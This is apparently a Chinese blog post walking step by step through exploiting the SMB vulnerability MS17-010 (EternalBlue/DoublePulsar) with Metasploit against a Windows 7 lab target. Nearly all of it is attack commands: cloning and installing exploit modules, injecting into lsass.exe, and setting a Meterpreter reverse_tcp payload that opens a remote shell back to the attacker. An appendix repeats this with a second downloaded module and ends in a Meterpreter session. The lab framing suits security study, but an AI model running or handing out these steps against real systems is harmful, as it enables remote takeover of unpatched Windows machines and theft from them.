smb(ms17-010)远程命令执行之msf

左手的ㄟ右手 2024-04-07 11:09 51阅读 0赞

**本次用到的环境：**

kali(2016.2)32位系统.ip地址：192.168.1.104

目标靶机为：win7sp1x64系统(关闭防火墙)，ip地址：192.168.1.105

**具体的步骤如下：**

kali系统下安装wine32：

apt-get install wine32

![7aeeb62d3c54aa3fa1df9d1600d0c0ff.png][]

用wine32执行cmd.exe

wine cmd.exe

![08c2f2711b732348fefaa4982212200d.png][]

exit        //退出

![7a8a0c0f9287dabc8164bf08a09402c0.png][]

git clone下载其利用脚本：

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb

cd    Eternalblue-Doublepulsar-Metasploit/
    cp  -r  deps/  eternalblue_doublepulsar.rb    /usr/share/metasploit-framework/modules/exploits/windows/smb

![a96b7eee712b7be442ca75e1de0313dd.png][]

![025edf0d19772706f62b984184d0b6f6.png][]

启动msf，然后进行一系列设置：

service postgresql start
    
    msfconsole

![82d3542986b0fbba92dbfdba6c63bf4c.png][]

search  eternalblue
    
    use  exploit/windows/smb/eternalblue_doublepulsar

![756a1b5fb5aec68819ff537999c431f4.png][]

set   DOUBLEPULSARPATH  /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
    
      set  ETERNALBLUEPATH   /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
    
    set PROCESSINJECT   lsass.exe
    
    set TARGETARCHITECTURE  x64
    
    set rhost  192.168.1.105
    
    show targets
    
    set target 9
    
    set payload windows/x64/meterpreter/reverse_tcp
    
    show options
    
    set lhost 192.168.1.104
    
    exploit

![c4a8d9998fbbb82d6c926a023344f82d.png][]

![a9363fc316490684954cf807374f1bc9.png][]

![0a303a2766b06a41b856371e914b73f8.png][]

![818d10145a42b879c783a87de018210f.png][]

附录：

msf下的ms17-010模块:

前提条件：

1. gem install ruby\_smb \#ruby\_smb模块安装

2.msfupdate \#msf的更新

3.msfconsole -qx "use exploit/windows/smb/ms17\_010\_eternalblue" \#启动并加载模块

root@backlion:/opt# wget https://raw.githubusercontent.com/backlion/metasploit-framework/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb
    
    root@backlion:/opt# cp ms17_010_eternalblue.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb
    
    Use exploit/windows/smb/ms17_010_eternalblue
    
    msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.8
    
    msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.21
    
    msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
    
    msf exploit(ms17_010_eternalblue) >exploit
    
    Meterpreter> sysinfo

![0f7f4d94b96c57b4faad7e078edfad5d.png][]

[7aeeb62d3c54aa3fa1df9d1600d0c0ff.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0700a84badbf4527be0c1f136447a7c7.png
[08c2f2711b732348fefaa4982212200d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6a32b10528334847ad965d60135e65e6.png
[7a8a0c0f9287dabc8164bf08a09402c0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7ddd7ce333d6417eada460241b7f00ac.png
[a96b7eee712b7be442ca75e1de0313dd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/56e33229ca154b9ba41f1d64cfa92f70.png
[025edf0d19772706f62b984184d0b6f6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/fb154edf40c94d77b949e1f4de991a79.png
[82d3542986b0fbba92dbfdba6c63bf4c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c677e6990c874c1eab52b706278b6674.png
[756a1b5fb5aec68819ff537999c431f4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d4eb4fe0ccfa43309c9c43f1e7313823.png
[c4a8d9998fbbb82d6c926a023344f82d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/db761eaa7b244a639fc313e7ce1117b1.png
[a9363fc316490684954cf807374f1bc9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f4c5894d798446188918404135195616.png
[0a303a2766b06a41b856371e914b73f8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9971940d911a4b86a2d43dfbad2b1b9f.png
[818d10145a42b879c783a87de018210f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ee54f7810b2b42ec911a005f8e3af4cd.png
[0f7f4d94b96c57b4faad7e078edfad5d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8130322b727a4658b0724b9570702a36.png